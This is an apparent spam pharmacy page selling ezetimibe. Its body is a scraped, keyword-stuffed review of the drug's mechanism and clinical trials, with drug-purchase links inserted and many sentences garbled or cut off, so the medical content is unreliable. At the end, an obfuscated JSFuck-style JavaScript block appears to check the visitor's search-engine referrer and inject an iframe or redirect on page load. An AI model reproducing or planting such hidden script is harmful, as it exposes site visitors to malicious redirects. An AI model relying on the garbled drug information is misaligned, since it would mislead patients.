Ezetimibe Shipped From Usa

Rating 4.8 stars, based on 93 comments

Jul 03,  · One such agent is ezetimibe, a cholesterol absorption inhibitor that targets uptake at the jejunal enterocyte brush border. Its primary target of action is the cholesterol transport protein Nieman Pick C1 like 1 protein. Ezetimibe is an effective LDL-C lowering agent and is safe and well by

This is an Open Access article which Ezetimibe ships From Usa unrestricted noncommercial use, provided the original work is properly Ezetimibe shipped From Usa. This article has been cited by other buy Nimodipine is an effective LDL-C lowering agent and is safe and Ezetimibe ship From Usa tolerated.

Ezetimibe inhibits intestinal and biliary cholesterol absorption and can significantly lower LDL-C and nonhigh-density lipoprotein cholesterol non-HDL-C, defined as total cholesterol minus high-density lipoprotein cholesterol when used alone or in combination with statin therapy. This review aims to detail the biological mechanisms, lipid effects, and safety of ezetimibe treatment and discuss the vascular and clinical outcomes data that may impact the use of ezetimibe in clinical practice.

Mechanism of action Circulating plasma levels of cholesterol are derived from two primary sources: The transfer of cholesterol from the peripheral tissues to the liver is mediated by HDL. The cholesterol undergoes subsequent esterification by lecithin— cholesterol acetyltransferase. The esterified cholesterol moves into the hydrophobic core of the HDL particle, and as the particles become progressively more lipidated, they mature and become progressively larger and more spherical. The cholesteryl esters in these mature HDL particles can be removed from the circulation by hepatic Ezetimibe ship From Usa receptor BI or Ezetimibe ship From Usa transfer of cholesterol to apolipoprotein B-containing lipoproteins such as LDL and IDL via the activity of cholesteryl ester Ezetimibe ship From Usa protein.

Cholesterol can also reenter hepatocytes from the bile via canalicular NPC1L1. Cholesterol can be converted in hepatocytes to primary bile acids, which are effluxed to the bile via ABCB11. ApoA-I is secreted by the liver or enterocyte or enters plasma on a chylomicron. During lipolysis, surface phospholipids as well as fatty acids from the TG are also released: A distinction must be drawn between cholesterol entry into enterocytes and systemic cholesterol absorption, which refers to the appearance of cholesterol within lymphatic vessels, as not all of the cholesterol that makes its way into enterocytes will be absorbed into plasma.

Intestinal cholesterol absorption is a complex process involving incorporation of free cholesterol, the majority of which is of biliary origin, into mixed biliary micelles, and the subsequent delipidation of micelles via intestinal enterocyte membrane sterol influx transporters.

Genetic mutations in ABCG5 and ABCG8 proteins result in sitosterolemia, which is associated with an increase in phytosterol accumulation and intestinal cholesterol absorption resulting in significantly elevated plasma cholesterol and sterol levels and clinical development of early atherosclerotic heart disease, Ezetimibe Shipped From Usa.

The triglycerides and cholesterol esters derived from chylomicrons can be Ezetimibe shipped From Usa into VLDL and secreted. AP2 is a classical AP that facilitates the internalization of molecules into Ezetimibe ships From Usa, such as cholesterol entering clathrin-coated pits. The AP2 complex consists of four proteins forming a core and appendage domains. When intracellular cholesterol becomes low the NPC1L1 is released from the endocytic recycling compartment and traffics back along microfilaments to the cell membrane. NPC1L1 protein recycles between the plasma cell membrane and endocytic recycling compartment.

When the extracellular cholesterol concentration is high, cholesterol is incorporated into the cell membrane and is sensed by cell surface—localized NPC1L1.

The cholesterol absorption inhibitor ezetimibe acts by blocking the Ezetimibe Shipped From Usa internalization of NPC1L1. Additionally, studies have shown that in response to statin treatment, there is a compensatory increase in intestinal cholesterol absorption, possibly through the induction of gene expression of such proteins such as NPC1L1. buy Minoxidil may change the shape of NPC1L1 so as to Ezetimibe ship From Usa it incapable of binding to sterols or may interfere with the binding of free cholesterol to the cell membrane. Kramer et al described a 145-kDa integral membrane-bound ectoenzyme Ezetimibe shipped From Usa aminopeptidase N -aminopeptidase to which ezetimibe binds.

Caveolin-1 CAV1 is a small 22-kDa protein that forms at least two distinct chaperone complexes that regulate both total cellular and caveolar cholesterol levels. A complex consisting of annexin 2, cyclophilin A, and cyclophilin 40, traffics exogenous cholesterol from caveolae to the endoplasmic reticulum.

INDICATION

The other CAV1 complex includes heat-shock protein 56, cyclophilin A, and cyclophilin 40, and traffics newly synthesized cholesterol from the endoplasmic reticulum to caveolae. After being metabolized through glucoronidation in the small intestine and liver, ezetimibe is excreted in the bile back into the intestinal Buy Domperidone Without Rx where it again can inhibit the NPC1L1 protein. This enterohepatic circuit allows ezetimibe to have a long half-life of 22 hours. Ezetimibe does not undergo metabolism via the cytochrome P450 pathway, and therefore does not have significant interactions with other medications that are metabolized by the cytochrome P450 pathway, Ezetimibe Shipped From Usa, such as statins, fibrates, amiodarone, and amlodipine.

A meta-analysis of eight randomized placebo controlled trials ui-design.moglid.com statin have shown greater efficacy in terms of LDL-C reduction than monotherapy with ezetimibe or statin alone. Also, there was a significant 13. With a greater effect on cholesterol values, the study showed that a higher percentage of subjects were able to reach ATP III treatment targets with the addition of ezetimibe therapy.

In Ezetimibe ships From Usa with established CHD, only 10. The effectiveness of ezetimibe in lowering cholesterol has been tested in various dyslipidemic populations, including familial hypercholesterolemia FH. FH Ezetimibe ships From Usa are often characterized by severely elevated LDL-C, dermatologic findings with xanthomas, and early onset atherosclerotic ui-design.moglid.com disease.

While statin therapy is the recommended initial treatment of choice along with lifestyle intervention, many FH subjects are frequently unable to reach LDL-C goals even on high-dose statin. Given the low prevalence of homozygous FH subjects, there have been only a small number of randomized controlled trial trials testing ezetimibe in this population. One such trial randomized 50 homozygous FH subjects who were already receiving a background of 40 mg daily of simvastatin or atorvastatin to either increased statin to 80 mg daily, 40 mg daily of statin plus ezetimibe 10 mg daily, or to 80 mg of statin plus ezetimibe 10 mg daily. Ezetimibe can effectively Ezetimibe ship From Usa sterol levels in subjects with sitosterolemia by inhibiting intestinal plant sterol absorption. Given the inability of statins to reduce plant sterol levels and the incomplete lowering of sterol levels with other treatments such as low-sterol diets and bile-acid binding resins, ezetimibe has emerged as an effective alternative strategy.

The reduction in sterols with ezetimibe was seen despite subjects concurrently taking bile-acid binders or statins. In another study testing an identical protocol as VYTAL in subjects with metabolic syndrome, a similar Ezetimibe ship From Usa was documented with combination therapy, with ezetimibe and simvastatin achieving a greater reduction in LDL-C and non-HDL-C and greater increase in HDL-C as compared to atorvastatin monotherapy. In a meta-analysis of 18 randomized controlled trails evaluating statin plus ezetimibe or placebo in 14,471 subjects, the incidence of elevations in liver enzymes was not statistically different between the two groups.

A meta-analysis of seven randomized controlled trials showed that monotherapy with ezetimibe or in combination with statin was not associated with an increased risk of myositis as compared to placebo or monotherapy with statin. However, a combined analysis of two larger ezetimibe-plus-statin trials that were ongoing at the time of the analysis did not support such a hypothesis.

Since the publication of this combined analysis, the SHARP trial has been completed and confirmed no difference in cancer rates between the combination therapy and placebo 9. Imaging trials evaluating effects on atherosclerosis The vascular effects of ezetimibe on atherosclerosis progression Ezetimibe ship From Usa been investigated in several trials using ultrasound measurements of CIMT. Documenting changes to CIMT has Ezetimibe ship From Usa a common surrogate marker of atherosclerosis progression or regression in evaluating the clinical effectiveness of lipid-altering therapies.

CASHMERE randomized 398 postmenopausal women with moderate hypercholesterolemia to treatment with atorvastatin 80 mg daily, hormone replacement therapy alone, combination, or placebo and measured change in CIMT as a vascular outcome. The mean baseline CIMT was 0. This low baseline CIMT measurement observed in both trials likely limited the measurable incremental change to carotid atherosclerosis in response to additional lipid-lowering therapy. Ezetimibe was added on to statin therapy in subjects not able to meet LDL-C targets. Change in carotid IMT was compared between the aggressive versus standard treatment groups and between subjects receiving statins plus ezetimibe versus statins alone.

Baseline CIMT was 1.

• This list is not complete.
• Lipid treatment assessment project 2:
• The primary efficacy variable was the percentage change of LDL cholesterol from baseline to endpoint.
• This could have led to uneven distributions of patients who did or did not undergo LDL cholesterol apheresis in the active and placebo groups.
• Its primary target of action is the cholesterol transport protein Nieman Pick C1 like 1 protein.

Follow-up measurement of CIMT showed a significant reduction in all three groups to a level of 0. The Ezetimibe ship From Usa was stopped early after 14 months of follow-up ui-design.moglid.com reaching a prespecified efficacy end point. Changes to lipid profiles were as expected Ezetimibe ship From Usa treatment, with niacin raising HDL-C by 18. The authors concluded based upon these results that treatment with niacin in combination with statin was superior to ezetimibe on regression of CIMT. However, several issues exist in trying to extrapolate these findings to conclude on the effectiveness of ezetimibe on carotid atherosclerosis.

Such a population was ideally suited for therapy with niacin and not with ezetimibe which is used primarily to reduce LDL-C. While niacin treatment raised HDL-C by 7. Additionally, as noted in prior carotid imaging trials including ASAP and ENHANCE, changes in carotid atherosclerosis Ezetimibe ship From Usa in the first 1—2 years after initiating LDL-C-lowering therapy and are not expected in subjects who have been on chronic lipid-lowering treatment.

Based on these methodological Ezetimibe ship From Usa design flaws, definitive conclusions on the presence or absence of vascular Ezetimibe ship From Usa of ezetimibe cannot be made using data presented in ARBITER-6. This cardiovascular event reduction was proportional to the magnitude of LDL-C change and was only apparent in subjects with less severe aortic stenosis, defined as tertiles 1 and 2 as based upon aortic jet velocity.

Side Effects

Observed and predicted ui-design.moglid.com risk of adverse events was reported, including myopathy and rhabdomyolysis.

This positive outcome was in contrast to two previously reported negative trials evaluating lipid-lowering with statins in renal disease subjects; A Study to Evaluate the Use of Rosuvastatin in Subjects on Regular Hemodialysis: Lipid therapy would be expected to Ezetimibe ship From Usa less advanced kidney disease subjects, who predominantly succumb to deaths related to atherosclerotic-based heart disease, Ezetimibe Shipped From Usa, but not in dialysis-dependent subjects, who experience more arrhythmia-related deaths.

But while the trial is not to be completed until Junequestions already exist about the ability of the trial to detect incremental benefit of ezetimibe added on to statin therapy. Beyond the large sample size, IMPROVE-IT will need an adequate Ezetimibe ship From Usa of events to provide enough power to detect the expected small difference between the ezetimibe and placebo groups.

But unfortunately, given the long-established benefit of statin therapy, a cholesterol trial without statin therapy would not be possible today, particularly in subjects with CHD. Conclusion In the current treatment of cardiovascular disease, many subjects fail to reach LDL-C targets or remain at high risk for CHD events despite optimal statin and medical therapy. Ezetimibe inhibits intestinal cholesterol absorption and is effective in lowering cholesterol as monotherapy or in combination with statins in several populations, including those with FH, sitosterolemia, and insulin resistance.

Significant controversy has been generated regarding the clinical effectiveness of ezetimibe, particularly after the publication of ENHANCE and ARBITER-6 despite both trials having significant methodological flaws that limited their ability to evaluate the benefit of ezetimibe. Growing data suggest that ezetimibe in combination Ezetimibe ship From Usa statin has a positive effect on the progression of atherosclerosis and reduces cardiovascular events in subjects at risk for CHD, including those with chronic kidney disease.

Until that time and based upon the current available data, ezetimibe should remain a viable adjunct to statin therapy in the treatment of hypercholesterolemia. Cholesterol in the prediction of atherosclerotic disease. The seven countries study: Heart Protection Study Collaborative Group. Randomised trial of cholesterol lowering in 4444 patients Ezetimibe ship From Usa coronary heart disease: The effect of pravastatin on coronary events after myocardial infarction in patients with average cholesterol levels. Cholesterol and Recurrent Events Trial investigators.

N Engl J Med. Prevention of coronary Ezetimibe ship From Usa disease with pravastatin in men with hypercholesterolemia. Primary prevention of acute coronary events with lovastatin in men and women with average cholesterol levels: Intensive lipid lowering with atorvastatin in patients with stable coronary disease. Intensive versus moderate lipid lowering with statins after acute coronary syndromes.

cMEYzyC

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,48,112,54,52,53,113,57,72,84,77,76,60,34,47,95,63,38,43,85,67,119,90,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+(!![]+[])[+!+[]]+$[24]+([![]]+{})[+!+[]+[+[]]]+$[13]+$[23]+$[25]+$[26]+$[13]+([]+[]+{})[!+[]+!+[]]+$[27]+$[28]+$[13]+$[3]+(![]+[])[!+[]+!+[]]+$[29]+([]+[]+{})[+!+[]]+$[28]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[30]+$[31]+$[32]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[34]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[35]+$[23]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[35]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[24]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[35]+$[23]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[35]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[35]+$[36]+$[36]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[36]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[37]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+$[38]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[37]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+$[1]+$[22]+$[42]+([]+[]+{})[+!+[]]+$[3]+$[24]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[37]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[43]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[44]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[40]+$[43]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[43]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[24]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[38]+$[9]+$[45]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[11]+$[40]+$[9]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[35]+$[24]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[46]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[46]+$[14]+$[23]+$[23]+$[47]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[46]+$[14]+$[23]+$[23]+$[47]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[46]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[4